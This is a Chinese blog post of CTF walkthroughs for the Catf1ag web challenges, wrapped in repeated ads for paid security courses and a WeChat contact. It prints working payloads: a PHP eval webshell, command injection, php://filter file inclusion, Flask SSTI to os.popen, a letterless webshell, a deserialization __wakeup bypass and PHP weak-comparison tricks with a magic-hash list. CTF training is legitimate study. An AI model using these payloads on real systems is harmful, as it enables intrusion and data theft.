Catf1agCTF-Web通关合集

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

这里可以直接把前面的复制下来

payload:

<?php
class flag_in_there{
  public $name;
  public $age;

  public function __construct($name,$age){
    $this->name = $name;
    $this->age = $age;
  }
  public function get_flag(){
    echo "hello,i'm '$this->name',now '$this->age' years";
  }
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag); 
echo $ser;
?>

?str=O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}

rce_me_1

题目提示了是rce

我们就直接命令执行吧

?cmd=ls

找到文件位置

现在我们查看

?cmd=cat get_flag_in_there_!!!!!!!!!!!!!!!!!!!

json

源代码:

<?php
show_source('index.php');
include('flag.php');
$key = $_GET['key'];
$decode = json_decode($key);
if($decode->flag == $flag){
    echo $flag;
}else{
    echo "<h3>404 not found</h4>";
}

?> 

首先我们介绍一下什莫是json:JSON概念很简单,JSON 是一种轻量级的数据格式,他基于 javascript 语法的子集,即数组和对象表示。由于使用的是 javascript 语法,因此JSON 定义可以包含在javascript 文件中,对其的访问无需通过基于 XML 的语言来额外解析。

输入一个数组进行json解码,如果解码后的key与flag值相同,会得到flag,主要思想还是弱类型进行绕过,我们不知道flag值是什莫,但是我们知道一件事就是它肯定是字符串,这样就可以了,上文讲过,两个等号时会转化成同一类型再进行比较,直接构造一个0就可以相等了。最终payload:

?key={"flag":0}

GET&POST

?flag=cat

flag=f1ag

robots

这里简单介绍一下robots.txt

robots.txt文件:

User-agent: *

Disallow: /admin/ 后台管理文件

Disallow: /require/ 程序文件

Disallow: /attachment/ 附件

Disallow: /images/ 图片

Disallow: /data/ 数据库文件

Disallow: /template/ 模板文件

Disallow: /css/ 样式表文件

Disallow: /lang/ 编码文件

Disallow: /script/ 脚本文件

robots.txt文件里还可以直接包括在sitemap文件的链接。就像这样:

Sitemap: http://www.***.com/sitemap.xml

robots.txt语法教程

用几个最常见的情况,直接举例说明

  1. 允许所有SE收录本站:robots.txt为空就可以,什么都不要写。
  2. 禁止所有SE收录网站的某些目录:

User-agent: *

Disallow: /目录名1/

Disallow: /目录名2/

Disallow: /目录名3/

  1. 禁止某个SE收录本站,例如禁止百度:

User-agent: Baiduspider

Disallow: /

  1. 禁止所有SE收录本站:

User-agent: *

Disallow: /

访问/f1ag_is_in_there!!!

会下载一个文件,打开即可获得flag

easy_include_1

我们看一下源代码

这里告诉我们flag在/get_flag

payload:

?file=php://filter/read=convert.base64-encode/resource=/get_flag

将红框内的字符串base64解码即可得到flag

strcmp

源代码:

<?php
error_reporting(0);
include('flag.php');
show_source("index.php");
$str = $_GET['str'];
$init_str = "get_flag";
if($str!=$init_str){
    if(strcmp($init_str,$str)==0){
        echo $flag;
    }else{
        echo "no";
    }
}else{
    echo "nonono";
}

?>

strcmp()函数在PHP官方手册中的描述是int strcmp ( string str1,string str2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。

strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

payload:

?str[]=0

easy_upload_1

文件上传

直接一句话木马

<?php
@eval($_POST('1'));
?>

然后直接蚁剑连接即可

easy_include_2

一打开很抽象

查看源代码

可惜想简单了,这不是flag

这里提示了file传参

因为是文件包含题

所以我们直接按套路走

?file=php://filter/read=convert.base64-encode/resource=flag.php

这里提示不用加php后缀

?file=php://filter/read=convert.base64-encode/resource=flag

接下来base64解码即可

注意:这里要将catf1ag改为flag才能提交成功

swp

这里提示了swp

linux下vi/vim异常关闭是会存留.swp文件

方法:提示vim异常关闭,访问url/.index.php.swp,得到flag。

访问.index.php.swp会获得一个文件,打开后即可拿到flag

被黑了…

查看源代码

访问webshe11.php

打开是个空白页,猜测是一句话木马

这里有个难点就是要猜hacker为传参

?hacker=system('ls');

接下来就是直接查看flag

?hacker=system('cat hacker_flag.php');

easy_rce_2

源代码:

 <?php 
error_reporting(0);
show_source('index.php');
$cmd = $_GET['cmd'];
$preg = preg_match('/system|exec|shell_exec|`|popen/',$cmd);
if(!$preg){
    eval($cmd);
}else{
    echo "非法字符";
}
?> 

这里我们使用拼接绕过

?cmd=eval($_GET[1]);&1=system('ls');

?cmd=eval($_GET[1]);&1=system('cat f1ag_in_there.php');

不等于0

数组绕过秒了

?num[]=0

easy_flask_1

题目有提示/?cmd=

我们先尝试一下

接下来我们猜测可能为ssti

?cmd={{2*2}}

既然知道是ssti

我们直接查询配置信息,看有没有什么发现

?cmd={{config}}

easy_flask_2

跟上一题一样,我们先测试一下它是否为ssti

这里直接给一个比较通用的payload:

?cmd={% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(108)%2bchr(115)).read()}}

这里的chr(108)%2bchr(115)为ls拼接

可以参考下这个表

chr()表对应大全_chr(12)-CSDN博客表对应大全_chr(12)-CSDN博客")

 接下来就是cat flag了

?cmd={% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(42)).read()}}

这里使用的是cat f*(后面不想找了…)

又双叒叕不能相等

源代码:

<?php
include('flag.php');
error_reporting(0);
show_source('index.php');
$init_num = '999999999999';
$user_num = $_GET['num'];
if(isset($user_num)){
    if($user_num != $init_num){
        if(strlen($user_num) < strlen($init_num)){
            if($user_num > $init_num){
                echo 'get glag:'.$flag;
            }else{
                echo '你输入的数字小于初始值~';
            }
        }else{
            echo '不能大于初始值~';
        }
    }else{
        echo '不能相等~';
    }
}else{
    echo '请输入内容~';
}
?> 

这里要求num长度小于999999999999又要大于999999999999

提示:字符串开头以xex开头,x代表数字。会被转换成科学计数法(注意一定要是0e/d+的模式)。

payload:

?num=1e12

这里没有发现flag,真奇怪

flag藏在响应头里了,离谱

哦豁~还有一半呢?

打开一片空白

查看源代码

 这里显示flagb,说明还有个flaga应该

查看响应头

接下来就是拼接,base64解码即可

bypass_wakeup

源代码:

<?php 
show_source(__FILE__);
class flag{
    public $name = "catflag";
    public function __wakeup(){
        echo "this is __wakeup<br>";
    }
    public function __destruct(){
        show_source('flag.php');
        echo "this is __destruct<br>";
    }
}

$str = $_GET["ser"];
@$un_str = unserialize($str);

echo $un_str->name."<br>";

 ?>

这题是反序列化

比较简单,只要绕过__wakeup即可

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

<?php 
show_source(__FILE__);
class flag{
    public $name = "catflag";
    public function __wakeup(){
        echo "this is __wakeup<br>";
    }
    public function __destruct(){
        show_source('flag.php');
        echo "this is __destruct<br>";
    }
}

$a=new flag();
echo serialize($a);
//O:4:"flag":1:{s:4:"name";s:7:"catflag";}

修改为

?ser=O:4:"flag":2:{s:4:"name";s:7:"catflag";}

无字符webshell

源代码:

 <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){

    die("giaogiaogiao!!!");
}
else {
    eval($cmd);
}
highlight_file(__FILE__)
?> 

这里要绕过字母和数字

异或绕过有点麻烦,这里看别的师傅写的

想学习的可以参考一下这个文章浅析CTF绕过字符数字构造shell_ctf 只能字母或者数字登录-CSDN博客

?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ls /

分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~“%a0%b8%ba%ab"为”_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。

接下来就是cat /flag.txt

?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=cat /flag.txt

舔dog日记

(听哥一句劝,别当舔dog,不喜欢就是不喜欢)

我们先打开日记1看看

这里有filename,盲猜后面是base64编码后的

我们尝试一下flag.php

?filename=ZmxhZy5waHA=

查看源代码即可发现flag

遍历遍历

这里刷新一次就有一句话,应该是要我们写脚本遍历

脚本

import requests
url = "http://subject.catf1ag.cn:47522/"  #这里填入题目的url
for i in range(250):
    result = requests.get(url)
    if 'catf1ag' in result.text:
        print(result.text)
        break

这里需要等几秒才能显示

easy_rce_3

源代码:

<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
    if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|flag|rm|\/|echo|\.|\*|\?/i',$_GET['cmd'])){
        @eval($_GET['cmd']);
    }else{
        echo "danger_string";
    }
}else{
    echo "你啥也不输入,给你个假的flag:flag{error_flag}";
}
?>

这题没有过滤system

?cmd=system('ls');

这里利用文件包含伪协议

?cmd=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=flag.php

 base64解码即可

easy_rce_4

源代码:

<?php
error_reporting(0);
show_source('index.php');
$cmd = $_GET['a'];
$a = '/flag|cat|tac|more|less|[ |<>|?|*|\\\\\'"]/';
if(preg_match($a,$cmd)){
    echo "not allow";
}
else{
    if(strlen($cmd)<=50&$cmd!=''){
        echo "you are success!";
    }
    else{
        system($cmd);
    }
}
?> 

即有过滤,又加了长度限制

这里可以使用nl或者tail

因为这里过滤了空格,可以使用%0a或者%09还有{IFS}等绕过(这里%0a不行)

?a=%ls;6666666666666666666666666666666666666666666666666666666666666

?a=nl%09f1111111111111111111111111ag.php;6666666666666666666666666666666666666666666666666666666666666

flag藏在源代码里面

xss_alert

开始试了很多xss,发现没反应

看了下源代码,发现只要触发alert即可

接下来base64解码即可

[两小时AK赛] 你猜猜是什么注入

开始以为是ssti

看了别的师傅提示tee

tee的功能是从标准输入读取,再写入标准输出和文件。

?catf1ag=ls / | tee 2.txt

简单解释一下,就是将ls /写入2.txt里

然后访问2.txt就会触发ls /

?catf1ag=cat /flag | tee 3.txt

json_2

源代码:

<?php
show_source(__FILE__);
$strs = json_decode($_GET['strs']);
$key = '************************';
$flag = 'catf1ag{***********************************}';
foreach($strs as $keys=>$values){
    if($values == $key){
        echo $flag;
    }else{
        echo 'failed';
    }
}
?>

这题跟前面那一题有点不一样

这里key为纯数字或者数字开头的字符串

所以这里改为布尔值true(布尔值可以和任何字符串相等。)

?strs={"key":true}

MD5弱比较

源代码:

<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('flag.php');
$username = $_GET['username'];
$password = $_GET['password'];
if($username != $password){
    if(md5($username) == md5($password)){
        echo 'GET_FLAG:'.$flag;
    }else{
        echo 'md5校验出错...';
    }
}else{
    echo '用户名密码不能相等!';
}
?>

这里简单讲解下弱比较

“= =”:会把两端变量类型转换成相同的,在进行比较。

这里明确说明,在两个相等的符号中,一个字符串与一个数字相比较时,字符串会转换成数值。

例子:

<?php
 var_dump("name"==0);  //true
 var_dump("1name"==1); //true
 var_dump("name1"==1) //false
 var_dump("name1"==0) //true
 var_dump("0e123456"=="0e4456789"); //true
 var_dump("0e1abc"=="0"); //true
 ?>

当出现xex模式的时候代表科学计数法,比如1e3=1*10三次方,在进行比较运算时,如果遇到了0e\d+(意思就是0e就是0e,d+的意思是后面全部是数字)这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中2个数的值都是0因而就相等了。如果不满足0e\d+这种模式就不会相等。

下面提供一下md加密后0e开头的

纯数字类:

240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734
571579406 0e972379832854295224118025748221
903251147 0e174510503823932942361353209384
1110242161 0e435874558488625891324861198103
1320830526 0e912095958985483346995414060832
1586264293 0e622743671155995737639662718498
2302756269 0e250566888497473798724426794462
2427435592 0e067696952328669732475498472343
2653531602 0e877487522341544758028810610885
3293867441 0e471001201303602543921144570260
3295421201 0e703870333002232681239618856220
3465814713 0e258631645650999664521705537122
3524854780 0e507419062489887827087815735195
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
4790555361 0e643442214660994430134492464512
5432453531 0e512318699085881630861890526097
5579679820 0e877622011730221803461740184915
5585393579 0e664357355382305805992765337023
6376552501 0e165886706997482187870215578015
7124129977 0e500007361044747804682122060876
7197546197 0e915188576072469101457315675502
7656486157 0e451569119711843337267091732412

大写字母类:

QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
EEIZDOI 0e782601363539291779881938479162
TUFEPMC 0e839407194569345277863905212547
UTIPEZQ 0e382098788231234954670291303879
UYXFLOI 0e552539585246568817348686838809
IHKFRNS 0e256160682445802696926137988570
PJNPDWY 0e291529052894702774557631701704
ABJIHVY 0e755264355178451322893275696586
DQWRASX 0e742373665639232907775599582643
DYAXWCA 0e424759758842488633464374063001



本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。


最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。


最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。


![](https://img-blog.csdnimg.cn/img_convert/311903982dea1d8a5d2c98fc271b5b41.jpeg)

**需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)**

### 学习路线图


 其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。


相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。


![](https://img-blog.csdnimg.cn/img_convert/1ddfaf7dc5879b1120e31fafa1ad4dc7.jpeg)


#### 网络安全工具箱


当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份**我自己整理的网络安全入门工具以及使用教程和实战。**


![](https://img-blog.csdnimg.cn/img_convert/bcd1787ce996787388468bb227d8f959.jpeg)


#### 项目实战


最后就是项目实战,这里带来的是**SRC资料&HW资料**,毕竟实战是检验真理的唯一标准嘛~


![](https://img-blog.csdnimg.cn/img_convert/35fc46df24091ce3c9a5032a9919b755.jpeg)


#### 面试题


归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值